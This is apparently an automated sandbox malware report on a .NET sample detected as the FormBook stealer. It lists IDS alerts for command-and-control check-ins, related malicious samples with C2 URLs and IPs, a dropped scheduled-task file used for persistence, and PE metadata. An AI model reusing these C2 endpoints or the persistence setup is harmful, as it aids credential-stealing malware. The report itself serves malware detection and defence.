23.227.38.74	shops.myshopify.com	Canada	13335	CLOUDFLARENETUS	true
34.102.136.180	blueberry-intl.com	United States	15169	GOOGLEUS	false
67.222.39.83	firstcoastelope.com	United States	46606	UNIFIEDLAYER-AS-1US	true

General Information

Joe Sandbox Version:	32.0.0 Black Diamond
Analysis ID:	403903
Start date:	04.05.2021
Start time:	14:05:37
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 11m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	08917506_by_Libranalysis (renamed file extension from none to exe)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	34
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@10/4@14/9
EGA Information:	Failed
HDC Information:	Successful, ratio: 14.4% (good quality ratio 12.9%) Quality average: 72.5% Quality standard deviation: 32.1%
HCA Information:	Successful, ratio: 93% Number of executed functions: 263 Number of non-executed functions: 136
Cookbook Comments:	Adjust boot time Enable AMSI
Warnings:	Show All Excluded IPs from analysis (whitelisted): 204.79.197.200, 13.107.21.200, 20.82.210.154, 52.255.188.83, 168.61.161.212, 92.122.145.220, 104.42.151.234, 52.147.198.201, 184.30.24.56, 20.50.102.62, 2.20.142.209, 2.20.142.210, 93.184.221.240, 92.122.213.194, 92.122.213.247, 52.155.217.156, 20.54.26.129 Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, arc.msn.com.nsatc.net, store-images.s-microsoft.com-c.edgekey.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, wu.azureedge.net, consumerrp-displaycatalog-aks2eap-europe.md.mp.microsoft.com.akadns.net, db5eap.displaycatalog.md.mp.microsoft.com.akadns.net, e12564.dspb.akamaiedge.net, www-bing-com.dual-a-0001.a-msedge.net, audownload.windowsupdate.nsatc.net, cs11.wpc.v0cdn.net, hlb.apr-52dd2-0.edgecastdns.net, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, wu.wpc.apr-52dd2.edgecastdns.net, au-bg-shim.trafficmanager.net, www.bing.com, displaycatalog-europeeap.md.mp.microsoft.com.akadns.net, fs.microsoft.com, dual-a-0001.a-msedge.net, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, wu.ec.azureedge.net, ris-prod.trafficmanager.net, skypedataprdcolcus17.cloudapp.net, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, a767.dscg3.akamai.net, skypedataprdcoleus16.cloudapp.net, ris.api.iris.microsoft.com, skypedataprdcoleus17.cloudapp.net, a-0001.a-afdentry.net.trafficmanager.net, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, skypedataprdcolwus16.cloudapp.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
14:06:31	API Interceptor	1x Sleep call for process: 08917506_by_Libranalysis.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
192.0.78.24	DVO100024000.doc	Get hash	malicious	Browse	www.mariacolom.net/f0sg/?tDK=AymEOqKSVycllsucagJ3uquKzbaTRejMwBNJTz2lYWa4o9lkvFa+mpTu9QIvYFHSKZDd6A==&LPYP_=Sfgd
	lFfDzzZYTl.exe	Get hash	malicious	Browse	www.micheldrake.com/p2io/?_RAd4V=YL0THJvhl8d&iBIXf4M=d2NgnqRSaE399kDepSeXKrGILlrAeXd0mpr9jEILXnCNsbPLuX7uZtRN+a1hjfUwipOV1CQA6A==
	win32.exe	Get hash	malicious	Browse	www.jjwheelerphotography.com/hx3a/?ETPPOfO=HQ9W41OR6IY4WMlgz7ohhqskOlb/u2Nwhc+7no5Vp+hf9TuBBHO+5iRY2jTFM+WSMdE+&UR-hC=00Gdc830MjwppviP
	regasm.exe	Get hash	malicious	Browse	www.didsss.com/nqs9/?nbZdq4=dVfJ12aU7P1vtr0V7f4ZSuio1H1BmGrXzc61GzQ1cc/EKZrMEgEOFtlW/dhEQBMkQYhn&DxoTF=VBZHmLVX_dHX06
	oEWV80rj6fgwF5i.exe	Get hash	malicious	Browse	www.maseralda.com/ni6e/?nPntM8=dXbHup58-RGl&E6A=y8SBlkjU4W39Ly1T/KIONjFVZVrG132kczY/fXhHYMs1ha7B0OtwBDERUcslfp+UVYhd
	HG546092227865431209.exe	Get hash	malicious	Browse	www.richysculturalstuff.com/ct6a/?j2JHaJc=hKmAkhvb6mkv9zaFtr8IBA3Y8OUBY5g53ObP4/ibO16ZiyPs+HJ8s4t51tF1eI8O7LER&KthHT=LXaP
	invoice.exe	Get hash	malicious	Browse	www.legacyadmin.support/e3rs/?w0G=0yUiwx1wLvxUfzb5kCZXOl2J+dvoSMZhdpoUDtYYFWxv9npQwlOrxt3zkZH4aLHtWZT3&uFQl=XP7HMT_8
	o2KKHvtb3c.exe	Get hash	malicious	Browse	www.translations.tools/nsag/?GTgP=1Yx90tXdezyuV8sDZLNplGUVoptWSuBjE4/oeiBfqPIPAmaYyomwKJS6i2A6lUxe1bSuh3UNpg==&5jr=UlSpj
	PO#41000055885.exe	Get hash	malicious	Browse	www.billpollakwritingandediting.com/s2oc/?GzrL=WBjT_rUpa&8pDp00Hp=iEnqtY0VDkZROpxH3svCV1z4vh0RNvDxHQ/1OCo0cqhO00C//BGB8bIyEE+Kz7q/Bf/i
	swift_76567643.exe	Get hash	malicious	Browse	www.robztech.com/m8es/?CVJ=t8DGnXKWWWU8raNxivnbQjw3Z37WBEdYjZZIAloy7atrUUbC+CA3ztV2uFkjRRfw03U+&oX9=Txo8ntB0WBsp
	PDF NEW P.OJerhWEMSj4RnE4Z.exe	Get hash	malicious	Browse	www.ichaugames.com/edbs/?LZ9p=YgPC843WNdMasmCWk8z83XX/O5HllNmlhNkRKlPYh5DfpYamg+RMipCIUjeKta/lrbmo&MnZ=GXLpz
	Swift.exe	Get hash	malicious	Browse	www.pranatarot.com/edbs/?M6AlI=DP8A5Ne5M9xGBq1tjWprXkQLMPcjoeoXNStDN+ay4cQr/vSv+J0F/9nmPhuRTLw7c/6NIAJFgw==&T8RH=9rqdJ4wpALk
	TNUiVpymgH.exe	Get hash	malicious	Browse	www.longdoggy.net/vu9b/?yhRdNvKX=NeJ6fTW54FiVLomARoXtZYU3dCbrOkLIBtzKWj45EW4cSvDsCI/Ad3ky2rZHNP/pygFH&Sj=CTFH
	Swift Advise.exe	Get hash	malicious	Browse	www.billpollakwritingandediting.com/s2oc/?Hlnxrrv=iEnqtY0VDkZROpxH3svCV1z4vh0RNvDxHQ/1OCo0cqhO00C//BGB8bIyEE+gsLa/Fd3i&N48xBX=5jrXZXrHL6gpNHc
	vfe1GoeC5F.exe	Get hash	malicious	Browse	www.emmajanetracy.com/iu4d/?wTPHg6=ZliXVxFXgH&F8Sl=JOOHHYcCVAiumnatH9FSz+DjDh0K1BlAW5euFZ4O/VfuOjdNwQJji3cnAkLnRBXIBtcN
	New Purchase Order GH934782GHY489330.exe	Get hash	malicious	Browse	www.texasgirlcooks.com/n8ih/?FRd4X8=LwVPcdZXggMsOEqjpBC1UWbJi/W0BJRKlKtnOmrCDSW2VJzQcSCcpwg+xjq2DIU/ljr6&v8yH=ZPGXSpGP_
	enlu5xSNKV.exe	Get hash	malicious	Browse	www.mels.ink/jzvu/?T48h3FW=iJYv1UkuT0Zpi+IGsxHty87S2Dat4Pv7Wp3PPo6PPkk3ttxekOlDn9vNvymr9ZuQ7HO4&GPGXR=rVgD9v10QRyTEj
	KL9fcbfrMB.exe	Get hash	malicious	Browse	www.micheldrake.com/p2io/?TT=FjUh3Tu&idCtDnlP=d2NgnqRSaE399kDepSeXKrGILlrAeXd0mpr9jEILXnCNsbPLuX7uZtRN+ZZx/uILlcnE
	Bs04AQyK2o.exe	Get hash	malicious	Browse	www.blake-skinner.com/cyna/?GzuD=PDCWDhm1FORq+rZomwaGxMfk5udIXQ8UnpXBsbRxRfrc3sHkOqGAjqDUEuQ1Be52SJ1X&AnB=O0DXDNwPE
	DXeJI2nlOG.exe	Get hash	malicious	Browse	www.longdoggy.net/vu9b/?jPg8q=NeJ6fTW54FiVLomARoXtZYU3dCbrOkLIBtzKWj45EW4cSvDsCI/Ad3ky2o1XR+jS1VsWAWCG5Q==&nbEHs=jFNtdTXxm

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
www.thaihuay88.com	APR SOA---- Worldwide Partner--WWP SC+SHA.PDF.exe	Get hash	malicious	Browse	206.189.46.186
www.cinmax.xyz	PAGO 50,867.00 USD (ANTICIPO) 23042021 DOC-20204207MT-1.exe	Get hash	malicious	Browse	199.192.27.68
	TT COPY (39.750,00 USD).exe	Get hash	malicious	Browse	199.192.27.68
	RFQ.xlsx	Get hash	malicious	Browse	199.192.27.68
shops.myshopify.com	202139769574 Shipping Documents.exe	Get hash	malicious	Browse	23.227.38.74
	Remittance Advice pdf.exe	Get hash	malicious	Browse	23.227.38.74
	74ed218c_by_Libranalysis.exe	Get hash	malicious	Browse	23.227.38.74
	don.exe	Get hash	malicious	Browse	23.227.38.74
	WaybillDoc_7349796565.pdf.exe	Get hash	malicious	Browse	23.227.38.74
	a3aa510e_by_Libranalysis.exe	Get hash	malicious	Browse	23.227.38.74
	wMqdemYyHm.exe	Get hash	malicious	Browse	23.227.38.74
	PO#10244.exe	Get hash	malicious	Browse	23.227.38.74
	493bfe21_by_Libranalysis.exe	Get hash	malicious	Browse	23.227.38.74
	DocNo2300058329.exe	Get hash	malicious	Browse	23.227.38.74
	x16jmZMFrN.exe	Get hash	malicious	Browse	23.227.38.74
	TNT SHIPPING DOC 6753478364.exe	Get hash	malicious	Browse	23.227.38.74
	z5Wqivscwd.exe	Get hash	malicious	Browse	23.227.38.74
	DVO100024000.doc	Get hash	malicious	Browse	23.227.38.74
	100005111.exe	Get hash	malicious	Browse	23.227.38.74
	1103305789.exe	Get hash	malicious	Browse	23.227.38.74
	New order.04272021.DOC.exe	Get hash	malicious	Browse	23.227.38.74
	ofert#U0103 comand#U0103 de cump#U0103rare_pdf.exe	Get hash	malicious	Browse	23.227.38.74
	zDUYXIqwi4.exe	Get hash	malicious	Browse	23.227.38.74
	HbnmVuxDIc.exe	Get hash	malicious	Browse	23.227.38.74

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
AUTOMATTICUS	4GGwmv0AJm.exe	Get hash	malicious	Browse	192.0.78.25
	c647b2da_by_Libranalysis.exe	Get hash	malicious	Browse	192.0.78.12
	0d69e4f6_by_Libranalysis.xls	Get hash	malicious	Browse	192.0.78.25
	wMqdemYyHm.exe	Get hash	malicious	Browse	192.0.78.25
	MSUtbPjUGib2dvd.exe	Get hash	malicious	Browse	192.0.78.25
	PROFORMA INVOICE-INV393456434.pdf.exe	Get hash	malicious	Browse	192.0.78.25
	agnesng@hanglung.comOnedrive.html	Get hash	malicious	Browse	192.0.77.2
	PO_29_00412.exe	Get hash	malicious	Browse	192.0.78.25
	Enrollment_Benefits-2022.docx	Get hash	malicious	Browse	192.0.66.2
	Enrollment_Benefits-2022.docx	Get hash	malicious	Browse	192.0.66.2
	DVO100024000.doc	Get hash	malicious	Browse	192.0.78.24
	ofert#U0103 comand#U0103 de cump#U0103rare_pdf.exe	Get hash	malicious	Browse	192.0.78.25
	PAGO 50,867.00 USD (ANTICIPO) 23042021 DOC-20204207MT-1.exe	Get hash	malicious	Browse	192.0.78.25
	Rio International LLC URGENT REQUEST FOR QUOTATION.exe	Get hash	malicious	Browse	192.0.78.25
	RDAx9iDSEL.exe	Get hash	malicious	Browse	192.0.78.25
	order drawing 101.exe	Get hash	malicious	Browse	192.0.78.25
	lFfDzzZYTl.exe	Get hash	malicious	Browse	192.0.78.24
	SA-NQAW12n-NC9W03-pdf.exe	Get hash	malicious	Browse	192.0.78.25
	SWIFT COPY.exe	Get hash	malicious	Browse	192.0.78.246
	win32.exe	Get hash	malicious	Browse	192.0.78.24
ON-LINE-DATAServerlocation-NetherlandsDrontenNL	Oej1asjUTO.exe	Get hash	malicious	Browse	212.86.114.14
	oxSdcJh3i9.exe	Get hash	malicious	Browse	213.166.71.146
	b304a312_by_Libranalysis.exe	Get hash	malicious	Browse	212.86.114.14
	F7wg552hTZ.exe	Get hash	malicious	Browse	185.244.216.74
	Id2NcHARok.exe	Get hash	malicious	Browse	213.166.71.26
	38#U0442.exe	Get hash	malicious	Browse	185.231.68.230
	SecuriteInfo.com.Trojan.DownloaderNET.108.5931.exe	Get hash	malicious	Browse	185.203.242.240
	toolspab2.exe	Get hash	malicious	Browse	176.57.69.148
	Youtube_4k_Downloader.exe	Get hash	malicious	Browse	45.12.213.111
	items list.doc	Get hash	malicious	Browse	45.147.197.20
	Setup.exe	Get hash	malicious	Browse	212.86.101.106
	list of items.doc	Get hash	malicious	Browse	45.147.197.20
	RFQ for MDPE Pipes .xlsx	Get hash	malicious	Browse	45.82.176.157
	Order KVRQ-7436819.doc	Get hash	malicious	Browse	92.119.113.115
	RFQ for Aluminium.xlsx	Get hash	malicious	Browse	45.82.176.157
	b2Jlbjcav4.exe	Get hash	malicious	Browse	92.119.113.115
	Signed_Project_Contract .xlsx	Get hash	malicious	Browse	45.82.176.157
	3m1pUQWERd.exe	Get hash	malicious	Browse	212.86.102.153
	Vl13J4rzIM.exe	Get hash	malicious	Browse	185.213.211.139
	uTrCabJSjQ.exe	Get hash	malicious	Browse	185.213.211.139

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\08917506_by_Libranalysis.exe.log Download File
Process:	C:\Users\user\Desktop\08917506_by_Libranalysis.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	916
Entropy (8bit):	5.282390836641403
Encrypted:	false
SSDEEP:	24:MLF20NaL3z2p29hJ5g522rW2xAi3AP26K95rKoO2+g2+:MwLLD2Y9h3go2rxxAcAO6ox+g2+
MD5:	5AD8E7ABEADADAC4CE06FF693476581A
SHA1:	81E42A97BBE3D7DE8B1E8B54C2B03C48594D761E
SHA-256:	BAA1A28262BA27D51C3A1FA7FB0811AD1128297ABB2EDCCC785DC52667D2A6FD
SHA-512:	7793E78E84AD36CE65B5B1C015364E340FB9110FAF199BC0234108CE9BCB1AEDACBD25C6A012AC99740E08BEA5E5C373A88E553E47016304D8AE6AEEAB58EBFF
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..3,"C:\Windows\assembly\NativeImages_v2.0.50727_32\System\1ffc437de59fb69ba2b865ffdc98ffd1\System.ni.dll",0..3,"C:\Windows\assembly\NativeImages_v2.0.50727_32\Microsoft.VisualBas#\cd7c74fce2a0eab72cd25cbe4bb61614\Microsoft.VisualBasic.ni.dll",0..3,"C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Drawing\54d944b3ca0ea1188d700fbd8089726b\System.Drawing.ni.dll",0..3,"C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Windows.Forms\bd8d59c984c9f5f2695f64341115cdf0\System.Windows.Forms.ni.dll",0..3,"C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Runtime.Remo#\35774dc3cd31b4550ab06c3354cf4ba5\System.Runtime.Remoting.ni.dll",0..3,"C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Configuration\de460308a9099237864d2ec2328fc958\System.Configuration.ni.dll",0..3,"C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Xml\527c933194f3a99a816d83c619a3e1d3\System.Xml.ni.dll",0..

C:\Users\user\AppData\Local\Temp\tmpFA9B.tmp Download File
Process:	C:\Users\user\Desktop\08917506_by_Libranalysis.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1657
Entropy (8bit):	5.170218454716635
Encrypted:	false
SSDEEP:	24:2dH4+SEqC/dp7hdMlNMFpdU/rlMhEMjnGpwjpIgUYODOLD9RJh7h8gKBZtn:cbhH7MlNQ8/rydbz9I3YODOLNdq3p
MD5:	CE9F2F51AABD91F449A3285FCB1C53D4
SHA1:	3CAF394BBF1CFA97CF4C0058636B124E2792CD42
SHA-256:	DB14F4534F1F9989BC745AC68BC0B60AA7662B539795E224354B02B20F616DEA
SHA-512:	918931AE75F632A5538E779E091A454FE39A9A38A7CB328D93FD2617A76E05718274E3DBED92A88D899AB0D7EACC0DF20B1482F844A0A114D4F1A49A8D14ECC6
Malicious:	true
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-16"?>..<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <RegistrationInfo>.. <Date>2014-10-25T14:27:44.8929027</Date>.. <Author>computer\user</Author>.. </RegistrationInfo>.. <Triggers>.. <LogonTrigger>.. <Enabled>true</Enabled>.. <UserId>computer\user</UserId>.. </LogonTrigger>.. <RegistrationTrigger>.. <Enabled>false</Enabled>.. </RegistrationTrigger>.. </Triggers>.. <Principals>.. <Principal id="Author">.. <UserId>computer\user</UserId>.. <LogonType>InteractiveToken</LogonType>.. <RunLevel>LeastPrivilege</RunLevel>.. </Principal>.. </Principals>.. <Settings>.. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>.. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>.. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>.. <AllowHardTerminate>false</AllowHardTerminate>.. <StartWhenAv

C:\Users\user\AppData\Roaming\OfCxSfBf.exe Download File
Process:	C:\Users\user\Desktop\08917506_by_Libranalysis.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	687616
Entropy (8bit):	7.631772578902217
Encrypted:	false
SSDEEP:	12288:ZEs0fKWP7eUMU/5r1Dss1duGwRIoX9KFm2ZNQSIpPyK58yP:Zz0TeUr/rD8RxX9K8aNQ3yKuyP
MD5:	089175069D5C095F078B7F8A3B28A22D
SHA1:	A563615DFE562E7A11C2B7F21DCFCD412594EEEE
SHA-256:	173797A7A7A881F3D6230015620BAE28D21B4B41B7E568C2A881B3C0829DD67E
SHA-512:	987900B187A7757E186238FCC1A6B72C26A8B6619818EA34D91DF86C8F1A1F79E31323D42F054F98CB705EC9C6B4720C5159F5746739388FA971942DB79B5694
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 17%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...;..`..............P..t............... ........@.. ....................................@.....................................O.......$............................................................................ ............... ..H............text....r... ...t.................. ..`.rsrc...$............v..............@..@.reloc...............\|..............@..B.......................H.......$n..Tm..........x...8............................................0............(....(..........(.....o..........................(.......( ......(!......("......(#....N..(....o....($....&..(%.....s&........s'........s(........s)........s............0...........~....o+....+...0...........~....o,....+...0...........~....o-....+...0...........~....o.....+...0...........~....o/....+..&..(0.......0..<........~.....(1.....,!r...p.....(2...o3...s4............~.....

C:\Users\user\AppData\Roaming\OfCxSfBf.exe:Zone.Identifier Download File
Process:	C:\Users\user\Desktop\08917506_by_Libranalysis.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.631772578902217
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	08917506_by_Libranalysis.exe
File size:	687616
MD5:	089175069d5c095f078b7f8a3b28a22d
SHA1:	a563615dfe562e7a11c2b7f21dcfcd412594eeee
SHA256:	173797a7a7a881f3d6230015620bae28d21b4b41b7e568c2a881b3c0829dd67e
SHA512:	987900b187a7757e186238fcc1a6b72c26a8b6619818ea34d91df86c8f1a1f79e31323d42f054f98cb705ec9c6b4720c5159f5746739388fa971942db79b5694
SSDEEP:	12288:ZEs0fKWP7eUMU/5r1Dss1duGwRIoX9KFm2ZNQSIpPyK58yP:Zz0TeUr/rD8RxX9K8aNQ3yKuyP
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...;..`..............P..t............... ........@.. ....................................@................................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x4a9202
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x6091043B [Tue May 4 08:22:19 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:	v2.0.50727
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa91b0	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xaa000	0x424	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xac000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xa7208	0xa7400	False	0.804598456185	data	7.64331504129	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0xaa000	0x424	0x600	False	0.291015625	data	2.42293031335	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xac000	0xc	0x200	False	0.044921875	data	0.101910425663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0xaa058	0x3c8	data

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Copyright Felix Jeyareuben 2012
Assembly Version	2.0.0.0
InternalName	NotFiniteNumberException.exe
FileVersion	2.0
CompanyName	www.churchsw.org
LegalTrademarks	Church Software
Comments
ProductName	Church Projector
ProductVersion	2.0
FileDescription	Church Projector
OriginalFilename	NotFiniteNumberException.exe

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
05/04/21-14:07:46.421359	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49732	23.227.38.74	192.168.2.7
05/04/21-14:07:51.849015	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49734	80	192.168.2.7	67.222.39.83
05/04/21-14:07:51.849015	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49734	80	192.168.2.7	67.222.39.83
05/04/21-14:07:51.849015	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49734	80	192.168.2.7	67.222.39.83
05/04/21-14:07:58.641736	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49735	34.102.136.180	192.168.2.7
05/04/21-14:08:04.053411	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49736	80	192.168.2.7	206.189.46.186
05/04/21-14:08:04.053411	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49736	80	192.168.2.7	206.189.46.186
05/04/21-14:08:04.053411	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49736	80	192.168.2.7	206.189.46.186
05/04/21-14:08:20.324529	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49749	80	192.168.2.7	192.0.78.24
05/04/21-14:08:20.324529	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49749	80	192.168.2.7	192.0.78.24
05/04/21-14:08:20.324529	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49749	80	192.168.2.7	192.0.78.24
05/04/21-14:08:37.759258	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49752	80	192.168.2.7	162.0.232.119
05/04/21-14:08:37.759258	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49752	80	192.168.2.7	162.0.232.119
05/04/21-14:08:37.759258	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49752	80	192.168.2.7	162.0.232.119

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 4, 2021 14:07:24.236033916 CEST	49726	80	192.168.2.7	199.192.27.68
May 4, 2021 14:07:24.424823999 CEST	80	49726	199.192.27.68	192.168.2.7
May 4, 2021 14:07:24.425440073 CEST	49726	80	192.168.2.7	199.192.27.68
May 4, 2021 14:07:24.425563097 CEST	49726	80	192.168.2.7	199.192.27.68
May 4, 2021 14:07:24.613600016 CEST	80	49726	199.192.27.68	192.168.2.7
May 4, 2021 14:07:24.701565027 CEST	80	49726	199.192.27.68	192.168.2.7
May 4, 2021 14:07:24.701608896 CEST	80	49726	199.192.27.68	192.168.2.7
